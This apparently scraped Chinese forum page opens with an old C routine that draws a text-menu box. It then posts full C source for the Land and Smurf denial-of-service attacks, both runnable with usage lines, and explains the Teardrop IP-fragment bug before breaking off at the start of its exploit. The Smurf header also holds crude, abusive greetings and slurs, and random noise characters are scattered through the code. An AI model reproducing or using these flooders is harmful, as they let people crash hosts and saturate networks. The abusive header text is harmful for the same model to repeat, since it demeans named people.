0 ^7 w9 [+ g# D6 W3 g3 T  K*----------------------------------------------------------*" T# Z6 K. H) _  e
* Written by: Jeff Ebert 7/01/87 *
; X- K1 n3 `7 |8 @$ L2 X8 {8 n# U* Modified by: xxxxxxxxxx *; {; @1 C3 n8 j' A5 ^
* *
4 C, Y& D2 u' ]( M1 G( Z* Please modify me! *
! {& u! G  G) M$ u0 E* Possible Enhancements include but are not limited t *  @5 u  G" C: U& G/ H
* 1) Variable box character styles [1 line or 2] *% ~# @" K0 N. C* K7 _
* 2) Error checking *
# _& @7 E  G, i5 i; G- a* 3) Color options *
, W4 g& S3 c9 b. I) }7 O* *% u' N: c3 K% }' H. p
* *: y- C# N  V: \& |+ n
* This function builds a simple double frame for a menu. *
- E2 g7 i7 [# S% G0 ]* The function is passed the parameters for the upper *: W. u: R" `6 p& b! S
* left corner row, upper left corner column the height *' m6 C1 F2 O# K1 Q' `% G$ m: q
* of the frame and the width. *# y! ]0 m4 o- r2 x8 C$ Q! O9 P
* *0 Y$ a  E4 L0 ^
************************************************************/
, D' W0 t  k3 w* l5 N, N& T* X6 }3 d#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 2018 K, F: K% \% o' _& W
#define URCOR 187
) }* y( l; s1 \: @  U% z#define LLCOR 200
6 X6 ^- s: y& p#define LRCOR 188
& g" i, m- _- _) b3 n' o1 q& v- ^#define VBAR 186
& Z8 N; k) {, i- q#define HBAR 205$ i8 p% }5 W" W# y, Z& z
#define ESC 27</FONT></P><><FONT color=#009900>
$ B3 [& D9 _8 b$ M+ L9 ?2 ^box(row, col, hgt, wdth)6 e# `) G8 ?. `4 b& R6 e
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{, D' b2 q- Q; r8 [9 r6 x5 y, p2 T
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
1 A) {/ B5 G# H- A7 sputchar(ULCOR);
1 Y! Z9 G: O& q) ~8 y2 \7 E( Tfor(x = col + 1; x &lt;=(col + wdth -1); x++)
" ~/ W4 A% y8 W' Z# x3 vputchar(HBAR);
: A" [1 @& i8 u$ Q* M( A9 rputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
5 r! ]! {* D! }poscur(x,col);
& F1 ^0 G( Q; E0 l+ sputchar(VBAR);- b: U6 ^! T7 s) t( a( C
poscur(x,col+wdth);
7 K0 F+ S0 k6 L& i4 Jputchar(VBAR);
8 v+ V; N/ s) r. W& i  x}) t; k, r8 @( a3 T' p, r( G3 m
poscur(x,col);
' `; H* j' P8 A7 N1 Bputchar(LLCOR);3 K+ m" p; A% n# f# Q/ B
for(x= col + 1; x &lt;=(col + wdth -1); x++)
% F4 V& ]1 ^6 y; f4 wputchar(HBAR);6 I. q8 Q7 \! z4 v3 L; d% H
putchar(LRCOR);8 ~6 q" W4 D( f- f( p
}</FONT></P><><FONT color=#009900>/********************************************************5 u8 G/ X8 t8 L3 y" L0 A2 j: b
* POSCUR *
, B/ O% ?# L' [& b/ ?! b0 @*------------------------------------------------------*
5 D& [9 R4 z, v6 p) k  U* This function positions the cursor at the specified *
. V% r+ X* X4 c; C* x,y coordinate. It uses the ANSI standard ESCAPE *# A( z( }) B' A/ Y6 j8 }2 ?" n
* sequence to produce the desired effect. Its not the *
/ n# l/ s! x0 Y+ }* fastest way to position the cursor, but perhaps the *
) Q7 F1 `5 K- a( O4 P3 b, X* most portable. *
% c1 X$ r2 v$ K8 n' V0 c* X* *
: w, d% d/ V8 ^: U! {; C) i********************************************************/
) u7 T( b% i1 {, D# R  cposcur(xcor,ycor)5 Q. v5 y6 z5 [8 F
int xcor,ycor;
6 T. N! Y. k5 \{ + t7 L+ z$ z) m
printf("%c[%d;%dH",ESC,xcor,ycor);9 h* Q* R0 l* _$ Q' G6 Y
}</FONT></P><><FONT color=#009900>% v! k' j  J6 U: c* C+ S8 Q
/********************************************************
! g1 Z& p: d) T0 L* CLRSCR *
/ z% M9 t+ d/ S$ A: L7 q4 g5 F3 z*------------------------------------------------------*
3 b" \0 |, T. q: `* This function positions the cursor at the specified *
8 |6 Z1 A) v$ g* x,y coordinate. It uses the ANSI standard ESCAPE *
  C0 o# L7 n, y) d& g: k: o* sequence to produce the desired effect. Its not the *
* e: B; |4 Q) U+ E4 z$ R6 f* fastest way to position the cursor, but perhaps the *
8 w* L) {5 c# r5 y. @  W* E- W* most portable. *  T' P3 q& m4 p2 L6 w" ^2 ~
* *8 X( W, g1 N7 D
********************************************************/9 x# R; J' S6 U; u7 y3 v7 e2 O
clrscr()
4 q& a' D# p# p{
, \6 Z6 r/ ]4 j( h. b6 a5 _1 pprintf("%c[2J",ESC);
! k8 Y# s+ c1 K% h9 o% y% N- `" z6 z}</FONT>
/ o( T2 [; q1 A1 G" h</P>
作者: 韩冰    时间: 2004-10-4 02:40
<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
, x, E( w' I* e/ u这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自) j$ g5 u6 n$ E; O
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
* E2 J/ }& D* u; ^* ^. e$ r1 Y<FONT color=#009900>/* land.c by m3lt, FLC
6 B- o0 }( i% m; ?; Y% n6 ncrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
0 j0 U3 k' Y. `#include <NETDB.H>
- F- k; e8 B4 m) ^, H) F#include <ARPA inet.h>: t! m% \& b  S1 A- G3 f/ M
#include <NETINET in.h>4 f( J, X& L. X0 v5 q. c
#include <SYS types.h>
. L  d- S3 r: Y#include <SYS socket.h>+ m4 K8 }& a& ], n; K4 y2 c6 F
#include <NETINET ip.h>
1 m6 A; @& t+ |0 @  ?- M#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
/ H2 O! O' O" B8 j$ x2 zstruct pseudohdr
: P- f9 R8 H2 N{! i" J1 W4 y: p' K9 O
struct in_addr saddr;: w+ B6 i, d* [- _
struct in_addr daddr;& C: e2 b' Y0 L& X  N+ W. Y
u_char zero;
$ @2 ?. g7 z1 {u_char protocol;
5 `$ U" }2 {: M" Z/ U1 Bu_short length;
! E) P+ \' P  s( nstruct tcphdr tcpheader;1 g; }% V3 V! p1 V
};</FONT></P><><FONT color=#009900>//计算IP校验和
) y; k3 \6 s/ |0 M% w. Mu_short checksum(u_short * data,u_short length)7 f, n- T6 A6 b0 D# ?$ @( b, @
{
# P! j8 V5 y' _5 M7 ?/ H3 |register long value;
: `( _, R: [, s- J. e% c- ^u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)% Y7 q+ |1 d" T) M8 p% f" k* z
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)) s2 O# m* K6 l6 P* z! u6 v# y- y
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
  \/ O( R- X* s$ N% S9 |}</FONT></P><><FONT color=#009900>: v$ `6 K" N3 _( r( p* U" k  X
int main(int argc,char * * argv)# r& W2 d8 W: U3 }, P
{
4 z2 y. E' z1 k, d0 Fstruct sockaddr_in sin;
! T; w, j* o3 K- m6 r, u& o9 W6 Dstruct hostent * hoste;8 e" F# x& d' q- `4 S% C
int sock;$ D$ ~# O% Z! c3 W2 ~/ V$ ?
char buffer[40];
5 W6 B# y/ b+ `. J$ c/ e3 \struct iphdr * ipheader=(struct iphdr *) buffer;
' I8 b5 B6 A* K% E7 ?struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
- E4 e- {5 z0 Y" r; o2 `struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)+ g0 q3 z9 m5 V% [0 |
{' y, P2 U( r0 Y1 r' ]
fprintf(stderr,"usage: %s IP port\n",argv[0]);. o$ S7 o- J: c& h, f# G
return(-1);
1 l& d" S4 n' _+ Z% m  L}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));" |. D$ I6 |; ?! I/ L0 g
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)* P1 V" z% p3 f) w' @3 [
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
8 v: v5 ?9 A. q& B* E$ u9 relse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)% W, `. s" J# Z, }
{
& Z4 w) p. C+ s0 Nfprintf(stderr,"unknown host %s\n",argv[1]);- N3 c: Y, B3 O' ^# D4 w, P
return(-1);5 K9 E" ?9 N* j, o% b
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)  A7 [, U( K$ t" {+ i6 _5 X: X6 \! V
{2 c7 b7 t6 x' T) ~- z/ l
fprintf(stderr,"unknown port %s\n",argv[2]);
2 C! a' S2 o- S( `$ Rreturn(-1);
  V; G7 u+ n4 H# s}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
5 G' n! w% P& a+ F# p7 nif((sock=socket(AF_INET,SOCK_RAW,255))==-1)
& N% i$ w( s6 H$ V$ ]: y{
% c, H! ^% f9 I9 `, W! Gfprintf(stderr,"couldn't allocate raw socket\n");
' k' n  B, |( O' p/ g4 q$ |return(-1);
  z) F. J: G0 X  y$ x( r}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
( g% T% U$ L% D' a  qipheader-&gt;version=4;; f! b# ~8 ]9 @; i" Q/ \8 V
ipheader-&gt;ihl=sizeof(struct iphdr)/4;. m6 D0 n" V" h$ C
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
) D0 h& g" T5 s; h# Y8 L9 o. F5 }2 bipheader-&gt;id=htons(0xF1C);9 \( E( {( ~! I3 F2 x8 c: x
ipheader-&gt;ttl=255;
, h# c! x% j- A3 x* E$ Wipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
3 @1 C& Q  b( |4 s0 P% eipheader-&gt;saddr=sin.sin_addr.s_addr;( S2 I' y/ Z3 ]9 _# E# p# [& S
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同, u! j( A' `+ p( Q+ [
tcpheader-&gt;th_sport=sin.sin_port;
; z+ p8 b: |5 j) m1 i  etcpheader-&gt;th_dport=sin.sin_port;
5 r1 D$ V. y! n, z- @5 @/ t/ |$ L% ^tcpheader-&gt;th_seq=htonl(0xF1C);- s( S4 t( R& F3 Y; [8 N- Z
tcpheader-&gt;th_flags=TH_SYN;* `! G, c* G, N, K$ Y0 Z
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
% _2 J& H' U% p' p3 Xtcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));9 w) T3 k( p, ?
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
. a  o+ D* W" x6 t$ @* Q9 epseudoheader.daddr.s_addr=sin.sin_addr.s_addr;$ A, Q4 R! `0 s2 Z' ?  q1 Q
pseudoheader.protocol=6;
1 c- l9 V! f5 T$ |" @pseudoheader.length=htons(sizeof(struct tcphdr));
9 E' o/ `" O1 @, Nbcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));2 B8 H- @2 a, g4 I$ v: d4 ]/ p
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
$ k3 ]" S2 s; ^0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)# j5 c$ k% h. @" ], q% \: L4 x
{
0 s7 U/ z7 a" r, gfprintf(stderr,"couldn't send packet\n");
' Y: t' _) h% Rreturn(-1);
0 c8 S! T2 d) i" R& b7 c; y}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
& M. M$ J8 L- h! ureturn(0);
- d* ~5 f6 @" J}</FONT></P><>7 t" @" B( q0 [
2 Smurf
( H* q4 ]) @' a+ w; Msmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
+ w* @/ N. ~1 ~8 H# C/ F9 B: ]0 L据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包. u/ C1 g0 M4 o& M/ V, e
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些2 z$ x8 M# w# O* S  M4 _: X
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
$ T6 R) J- G; P! H! h(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变. e8 p. W3 Z6 ^3 @" Q  H
成不可能(没有WINS服务器时)。</P><P>/*- _* @- J% }" l+ [; F3 r* w
*
2 P9 {( E: D/ B! `5 q& W! d* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $! ]8 N; M$ q  s+ `4 \7 g; O
*. f5 e) [8 G& H
* spoofs icmp packets from a host to various broadcast addresses resulting2 X+ y+ S( ?7 F: C- ~& n, p4 ^, b
* in multiple replies to that host from a single packet.! s/ F+ R; u9 ?8 z- h0 L
*& r& ^: W0 f; b, o2 q( S
* mad head t/ c* o' _0 m* L$ n" P1 i5 \
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
; T# s/ S, M! \  B: |; A8 S, K* MissSatan for swallowing, napster for pimping my sister, the guy that$ E5 _1 Q: z3 k( B2 q
* invented vaseline, fyber for trying, knowy, old school #havok, kain
7 K4 O+ J' m" ~( t" ?* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might9 d5 a8 X2 o5 b$ L" o  k
* have missed (you know who you are).
: D  f. J) z' |: n& U*+ P, z9 p; A+ g
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
) h. X; d5 s& d/ R9 o1 q. x* thing he is (he's -almost- as stubborn as me, still i managed to pick up9 Q1 C; L9 F+ @; V- t1 k' \1 q  b
* half the cheque).
7 P3 k! z) A" v+ @' H*- e: |" d" H: T1 h. y3 `
* and a special hi to Todd, face it dude, you're fucking awesome.: V5 ~6 O/ k0 g
*; _9 }, i( R  I3 J% D' x
* mad anal t: K3 O0 }: ]) B2 _5 @4 I
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
3 ^- z  U) }. _2 I3 i* because they plain suck, Rolex for being a twit, everyone that
( I: ?1 U. d* _" r2 B* trades warez, Caren for being a lesbian hoe, AcidKill for being her
! K9 J+ Q. E0 U1 h* partner, #cha0s, sedriss for having an ego in inverse proportion to
) B8 [0 }7 n2 v/ |" r, @  k* his penis and anyone that can't pee standing up -- you don't know what
3 s3 S/ S/ w  ?6 n. L* your missing out on.
. _2 x  a" l2 Y( y*
3 G- G/ Q3 O2 l8 ?- e  i* and anyone thats ripped my code (diff smurf.c axcast.c is rather9 _- Y' c  w4 Z
* interesting).
" F; d% e! a7 ^$ d! Y1 o% ?8 g' [*
& T9 G: k. x+ m/ Q/ ?' f  u6 n3 [* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill) e( C8 H3 w+ c
* Robbins for trying to steal my girlfriend. Not only did you show me/ ~/ _+ X- g% F4 f0 F6 D- T
* no respect but you're a manipulating prick who tried to take away the2 L1 Q' K+ Z7 g1 i! O& g
* most important thing in the world to me with no guilt whatsoever, and2 a  i4 e7 Q7 b# P& \
* for that I wish you nothing but pain. Die.
5 Q% K! |8 N& x# S: _1 b*
% p4 a) T$ U; r0 k6 i+ |- [" `* disclaimer:
+ W& z- S9 ~* b+ \* I cannot and will not be held responsible nor legally bound for the, B( R# x! S! D$ J/ u' w$ w2 L1 y
* malicious activities of individuals who come into possession of this
4 C1 _* f, R) _9 r* program and I refuse to provide help or support of any kind and do NOT, X; x) G& b( s( A) ^! T
* condone use of this program to deny service to anyone or any machine.3 i/ M; C' d# B8 J) E, ~
* This is for educational use only. Please Don't abuse this.; [' T+ k. i! V) T" M" h$ l
*
6 q' W8 |2 b1 D* r; G& @* Well, i really, really, hate this code, but yet here I am creating another
8 ^9 ]) v9 V* {* |3 f* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
3 I$ F5 q. o+ s% _* like most programmers don't like seeing bugs in their code. I saw a few- Q! T( W. U8 F! k' J1 d0 q: ^
* things that should have been done better or needed fixing so I fixed
, N8 Q' a5 x) v5 r/ F* them. -shrug-, programming for me as always seemed to take the pain away0 l# f: {- f+ h1 z5 z  g, L; g) {
* ...
& B3 {/ S" e* ?) t*1 R4 V: V% ]. i2 J3 D
*; b' ~# |; a) _6 X& S
*/</P><P>#include <SIGNAL.H>: \7 F4 J/ z0 W
#include <STDIO.H>5 V3 [; K6 R$ N" p
#include <STDLIB.H>
- P/ _) q( c4 T7 U& s% P# O) r: V#include <SYS socket.h>" Z7 m$ X8 Y4 \: I
#include <SYS types.h>$ [, x! u# M' k1 w7 w: ?/ H: Y9 f
#include <NETINET in.h>' s9 S3 e: Y. i- [8 q
#include <NETINET ip.h>, l9 I& m8 B; p
#include <NETINET ip_icmp.h>
, j+ m6 V5 N( K: G# V#include <NETDB.H># a3 N, D  e1 I
#include <CTYPE.H>
5 l0 n# b1 t! i5 ~* W#include <ARPA inet.h>
; Q  u* Z+ ^+ K: Q#include <UNISTD.H>
4 @0 v& o/ k4 m; |  j/ d$ N# G# D) I#include <STRING.H></P><P>void banner(void);
! [! a8 y- {+ vvoid usage(char *);
! a7 I; N" U$ K0 |  p- Q: g; nvoid smurf(int, struct sockaddr_in, u_long, int);
2 k  b. ^( W, H% j/ E" |void ctrlc(int);( @4 i0 u5 D# ?
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */* P0 g/ C) c/ ~
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])" A) d# s5 g7 K! {
{  H! R2 h' w5 u+ c
struct sockaddr_in sin;# R3 v% I" _/ a+ M( L  N
struct hostent *he;3 K- C9 n" @( n1 r
FILE *bcastfile;. t' S( j, T. b2 ~  u( z, h
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
2 C+ c! n( v  U$ F1 ]6 Gchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();& D. ?5 c+ m2 y7 l
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
- o7 ?! y2 J1 F. iperror("resolving source host");
8 [* a6 W, \  _( S9 ^& B/ G# rexit(-1);4 n3 l% C. d% |7 c0 l
}
3 }$ d& g* t5 @$ F/ T; fmemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
* Z5 `2 \* U5 d8 G( R1 L/ j1 n4 ?sin.sin_family = AF_INET;/ K( k- J# Q  f% m! h3 G6 P9 L* S9 l
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
5 N! b# r0 G% {) Z2 o; adelay = atoi(argv[4]);, }, Q5 U7 x' |6 b- d
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {% ^9 Y1 U9 W4 x' y! \
perror("opening bcast file");
1 O" D' C* C$ {8 W) O# Rexit(-1);
$ b, B; k& k' a2 B  ^( e}6 X" n5 [) X9 S+ J
x = 0;8 O' m8 t* D4 Q# g, X: Q1 y
while (!feof(bcastfile)) {) h1 ~% G* I+ f- |$ G
fgets(buf, 32, bcastfile);, |" h, Q. r2 y4 Z3 I! I
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;+ \& A' P' i) ^$ v; E& T
for (i = 0; i &lt; strlen(buf); i++)
/ N# X, ^' w( s# f0 [4 M) o# jif (buf == '\n') buf = '\0';8 H) x5 g, O" R& J" h; K
bcastaddr[x] = malloc(32);
. X# @* H9 {% l5 q. ostrcpy(bcastaddr[x], buf);/ c2 Y- A4 {' e
x++;- v  q+ u% W" g- z+ ]( H
}. _) v$ ]& [4 W" E
bcastaddr[x] = 0x0;& w) k$ M+ }5 f+ b! r
fclose(bcastfile);</P><P>if (x == 0) {
8 D1 h9 T( T; ]# e+ Yfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);! E7 J2 @) f- @+ t
exit(-1);
% r; _. }% h% L' A" J; t}1 ]2 J! C7 P$ f  D
if (pktsize &gt; 1024) {( g4 i9 R' G( c
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");6 f1 o! z- t) {1 Q0 k4 ?7 ]
exit(-1);0 Q9 k# i6 {* g
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {2 s% ^; D- I# d! O3 U' g
perror("getting socket");
0 _4 D) X5 M+ M% I; vexit(-1);2 a0 B' T9 N5 ?, k9 ?/ [0 M
}" {3 I' q8 B6 f5 H4 v
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
; d1 k+ i6 ?6 m$ V: o' Kif (!(i % 25)) { printf("."); fflush(stdout); }
& F1 b) p9 T* t% x% @1 @. |smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
7 [/ Q. ~: y- D7 ncycle++;
: Q7 |2 Y1 ?9 [# |if (bcastaddr[cycle] == 0x0) cycle = 0;# _& m0 a& g& ?! W
usleep(delay);% q! S5 @0 O- k" X
}8 ~4 A) e1 ~! c, G% L
puts("\n\n");
' V3 X% t& l( ]) b1 Preturn 0;
  j* C" Y4 x2 i( |, `  r: @}</P><P>void banner (void)6 o1 [. {! r# A6 M8 d
{
% ], [' J* ]4 _  {; h9 [puts("\nsmurf.c v4.0 by TFreak\n");
& C  ?: Q: z. k( _5 V" F: M" v3 \* u}</P><P>void usage (char *prog)) Y! J3 V! `+ s' c5 D  W, u
{
$ K, W2 H; |( J- t! xfprintf(stderr, "usage: %s <TARGET><BCAST file>"+ D+ S+ V# e3 r: u  I; r0 z% |
"<NUM packets> <PACKET delay><PACKET size>\n\n"# s8 K4 @  H% u5 w* n+ m( l
"target = address to hit\n"
7 K  J$ V& W! R1 i$ [2 v"bcast file = file to read broadcast addresses from\n") {6 Z" w& f  L: Z* @. ^
"num packets = number of packets to send (0 = flood)\n"2 i) l( a6 V0 s; U
"packet delay = wait between each packet (in ms)\n"9 A( ^4 |/ M% @
"packet size = size of packet (&lt; 1024)\n\n", prog);
$ }6 d2 G* ~3 d$ nexit(-1);7 G! c+ ^/ g1 ]3 |. X
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)* w2 G& v0 g4 t- h
{
9 p1 E* g" _/ m/ I4 \" Wstruct iphdr *ip;
9 f; t' D* \7 I8 }5 \9 S/ Wstruct icmphdr *icmp;8 d1 N1 `, I/ n" F  i, C/ A
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);: F1 K9 V! x, W6 h0 B
ip = (struct iphdr *)packet;
' {6 H. Q: j9 e, Cicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);  w2 ~9 k1 U' C
ip-&gt;ihl = 5;4 y4 {$ q; w3 R. Q
ip-&gt;version = 4;# U' O: Y! v: h* u  z
ip-&gt;ttl = 255;
( G- s& F( z1 J2 T/ cip-&gt;tos = 0;
. \; j5 H, ^6 z6 xip-&gt;frag_off = 0;
9 N7 I4 v+ ^9 h* Q, A# Sip-&gt;protocol = IPPROTO_ICMP;
1 o3 G  A0 I- T* _! Dip-&gt;saddr = sin.sin_addr.s_addr;
  D! e+ E! Y5 W2 u7 ~* |ip-&gt;daddr = dest;% Z" \/ I; h5 p% i- w) B! I# \5 g
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));' p+ Y- v* O* ?# t) W
icmp-&gt;type = 8;4 D. _2 `+ m1 `# \9 W  B
icmp-&gt;code = 0;
9 f. y" _$ w  Y4 T3 L* Gicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
+ v# f7 j* v6 e' o0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
& x& m* h: Q8 A$ I/ _$ ?}</P><P>void ctrlc (int ignored): m, I! ?; p2 W2 d7 e* [
{
. X4 y, T* V& g; a& Pputs("\nDone!\n");$ ?2 R1 M9 B- r0 n& b
exit(1);5 u6 G# W$ G; Z$ M& n
}</P><P>unsigned short in_chksum (u_short *addr, int len)3 u+ q% i: g) V# N
{
+ Y' C3 D0 ^1 F0 G8 g# G) [register int nleft = len;/ Z8 L, |- a- M- Q( W, i: l! e% C  D
register int sum = 0;
: W% a! B; z) v8 ?/ Bu_short answer = 0;</P><P>while (nleft &gt; 1) {
, ~6 _) n  C( ^+ O3 X* U9 z1 Tsum += *addr++;2 X6 S9 Y+ s: b" G3 ~
nleft -= 2;
. e+ r- J! ?; C% w6 X( k}</P><P>if (nleft == 1) {
, ^: U/ j0 c4 D" h8 k# ~+ u*(u_char *)(&amp;answer) = *(u_char *)addr;
2 \# P4 f2 X+ ]6 b/ W2 i6 }4 \0 |sum += answer;
( m! E: f% S+ Q}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);: f3 t# A0 U% Z! D8 r
sum += (sum &gt;&gt; 16);% b8 p) V. S) v5 p, |
answer = ~sum;9 K5 h2 i3 g- e( h* @3 e
return(answer);
9 C% U' F" i/ z+ h}</P><P>* H5 q1 P7 ~) |# K& m3 v- k% j
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
0 {0 C, c+ ~6 M. R5 j3 ]2 Rfp = qp-&gt;fragments;
+ b& `+ H9 M* I! r* Q4 @while(fp != NULL), V0 P8 |3 d0 M- G4 r
{! _' D# T9 x; N, Y
if(count+fp-&gt;len &gt; skb-&gt;len)
7 S6 D; X' _2 P0 _( y: E" O0 b( b{
, t# T, m7 [* a" F- \6 aerror_to_big;  B5 c2 b! Z; t5 l! q
}
3 a0 @6 i" t# @! R* pmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
) A! W9 g5 o$ r+ c4 Fcount += fp-&gt;len;7 J! O5 e6 x, f$ I1 g
fp = fp-&gt;next;
( g( p; h9 d( I}
' j, G( F& u/ x2 C2 r" H  @这里只检查了长度过大的情况,而没有考虑长度过小的情况,: C) n# p: d* I' K3 b
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:5 i$ P4 P# `& l0 W
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的). j7 ]/ j5 V  e8 P, ^/ f
是这样处理的:# v5 Q' d8 Z: ?' c/ [& L  b; H# e
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)5 l# y1 a6 t+ H# m8 K) s
{1 c( v2 X* I1 W- j+ s- I7 r
i = prev-&gt;end - offset;
' T; |; m* J- R) N  E* |: a1 t: qoffset += i; /* ptr into datagram */
) m/ e- q2 U' s1 p3 Tptr += i; /* ptr into fragment data */, h, b7 Y  D* g+ O4 T: f' i, R( j
}</P><P>/* Fill in the structure. *// H, o. d2 z6 k, u4 q1 A- k
fp-&gt;offset = offset;3 _' Y3 S) w" @1 G$ ]3 T4 A
fp-&gt;end = end;
$ B2 j2 r2 r( T( Pfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
1 x  _. j$ Q: r/ G  j第一个碎片:mf=1 offset=0 payload=20; ~3 ^2 `% Y. D4 u7 a# w8 t: ~& ^
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
* m: }! l$ U, l4 F, Joffset=06 W' ?1 c/ L2 T  b
这样第二个碎片的 end=9+10=19
2 Y# T# W1 F( h1 L7 v7 ?+ `+ V6 A8 Doffset=offset+(20-offset)=205 J1 t: s; U, h: z: n: A
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>( {% v& Z4 |$ s5 T/ f
/*3 ?0 w2 x4 r% _/ @" c- ^
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
3 ]7 d/ C3 U8 A+ s7 I, Z' ?* U*, N: N; @6 i$ r* i6 Z
* Linux/NT/95 Overlap frag bug exploit3 }, L! a1 z' Z) S/ h9 L
*# q% ^: T* T2 Y
* Exploits the overlapping IP fragment bug present in all Linux kernels and2 _0 c( i0 k0 L
